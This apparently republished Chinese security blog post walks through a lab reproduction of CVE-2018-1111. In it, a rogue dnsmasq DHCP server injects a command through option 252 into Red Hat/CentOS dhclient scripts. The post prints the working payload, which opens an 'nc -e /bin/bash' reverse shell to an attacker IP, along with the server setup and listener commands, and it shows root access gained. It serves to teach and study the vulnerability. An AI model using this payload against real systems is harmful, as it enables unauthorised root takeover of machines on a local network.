安全圈 | 专注于最新网络信息安全讯息新闻

首页

1111漏洞複現

作者 strmiska 时间 2020-02-27
all

本文作者:\xeb\xfe(來自信安之路作者團隊)

\xeb\xfe

贈送書籍:《Android應用安全防護和逆向分析》

活動地址:信安之路五月送書活動

近日,紅帽官方發佈了安全更新,修復了編號為CVE-2018-1111的遠程程式碼執行漏洞,攻擊者可以通過偽造DHCP服務器發送響應包,攻擊紅帽系統,獲取root許可權並執行任意命令。

現時相關利用程式碼已經公開,可用於本地網絡攻擊。

影響版本

1、Red Hat Enterprise Linux Server 6

2、Red Hat Enterprise Linux Server 7

3、CentOS 6

4、CentOS 7

漏洞詳情

DHCP是一個局域網的網路通訊協定,主要用於內部網絡動態IP地址分配。

Redhat提供的dhcp用戶端套裝軟體dhclient的腳本為

/etc/NetworkManager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)

/etc/NetworkManager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6)

當NetworkManager組件從DHCP服務器收到DHCP響應時執行該腳本。

使用單引號使參數值逃逸成功,導致了命令執行,payload如下:

--dhcp-option=“252,x'&nc -e /bin/bash 10.1.1.1 1337 #”

payload實現的效果是,通過命令執行nc操作,反彈shell到10.1.1.1的1337埠上。

漏洞複現過程

環境準備

這裡我用的測試機器系統分別是Centos 7 和 Kali 2018.2。

Centos 7 作為被攻擊機,需要設定自動獲取ip地址。

Kali 2018.2 作為攻擊機,需要搭建DHCP服務器,實現攻擊效果。

攻擊環境搭建

這裡我用vmware虛擬機器來實現,兩個系統都是連接到VMnet1網卡上(僅主機模式),並且關閉網卡上的DHCP服務。

接著我們開始配寘kali上的dhcp服務器,dnsmasq是一個小巧且方便地用於配寘DNS和DHCP的工具,適用於小型網絡,它提供了DNS功能和可選擇的DHCP功能,可以快速搭建一個DNS服務或者DHCP服務。

首先我們設定一下 dnsmasq 需要使用到的設定檔 /etc/dnsmasq.conf。

dnsmasq /etc/dnsmasq.conf

dhcp-range:表示要分配給客戶機的ip地址範圍和租約時間

dhcp-range

dhcp-option:表示指定給DHCP用戶端的選項資訊

dhcp-option

log-facility:表示日誌記錄器

log-facility

其中設定檔中包括的option取值及含義如下:

3:設定閘道地址選項

6:設定DNS伺服器地址選項

252:為DHCP用戶端提供了一個用於配寘其代理設定的URL,wpad-proxy-url

payload 中涉及到的 option 252 是私人使用保留部分的一部分,為dhcp服務器使用252,然後在他們的瀏覽器中寫入與dhcp服務器交談的能力,並要求程式碼252從該選項列出的URL中獲取關於網絡上代理設置的資訊。

payload option 252

這裡dnsmasq.conf中的 dhcp-range 我設定為 192.168.11.10-192.168.11.20/24 這個ip地址範圍,租約時間為12h。

dhcp-range 192.168.11.10-192.168.11.20/24

dhcp-option 3 閘道地址和 dhcp-option6 DNS 服務器均設定為kali本地網卡的ip地址,kali的ip地址為靜態ip。

dhcp-option 3 dhcp-option6 DNS

修改好 /etc/dnsmasq.conf 設定檔之後,還不能直接啟動 dnsmasq 服務。

/etc/dnsmasq.conf dnsmasq

命令執行payload如下:

dnsmasq -dC /etc/dnsmasq.conf --dhcp-option=“252,x'&nc -e /bin/bash 192.168.11.1 1337 #”

這裡的-d表示調試模式,-C表示指定設定檔運行dnsmasq服務,更多有關dnsmasq的命令詳解可以用 man dnsmasq 查看。

man dnsmasq

命令執行的效果是通過nc反彈shell到192.168.11.1的1337埠,所以需要在kali開啟nc埠監聽,命令如下:

nc -l -p 1337 -v

然後再用上述命令啟動dnsmasq服務。

此時Centos需要重啓網路服務,獲取DHCP服務器下發的ip地址,這裡可以看到獲取到了ip地址192.168.11.19。

我們再回到kali上查看調試結果,並執行 id, ip add show ens33, dir 等命令,通過返回的結果顯示,我們已經成功獲取到服務器的root許可權。

id ip add show ens33 dir

CVE2018-1111 漏洞複現到此結束~!通過本文,大家可以學習到如何用dnsmasq來快速搭建一個DNS服務或者DHCP服務,並對DHCP服務的option部分值和含義有相關瞭解,以及學習了 CVE2018-1111 漏洞的複現及環境搭建。有興趣的可以學習一下DHCP服務option常見值和含義、dnsmasq的命令詳解。

CVE2018-1111 CVE2018-1111

本文章的內容只限科技研究,用於非法攻擊產生風險自擔。

參攷連結

DynoRoot:Red Hat DHCP用戶端命令執行漏洞CVE-2018-1111預警

https://www.anquanke.com/post/id/145201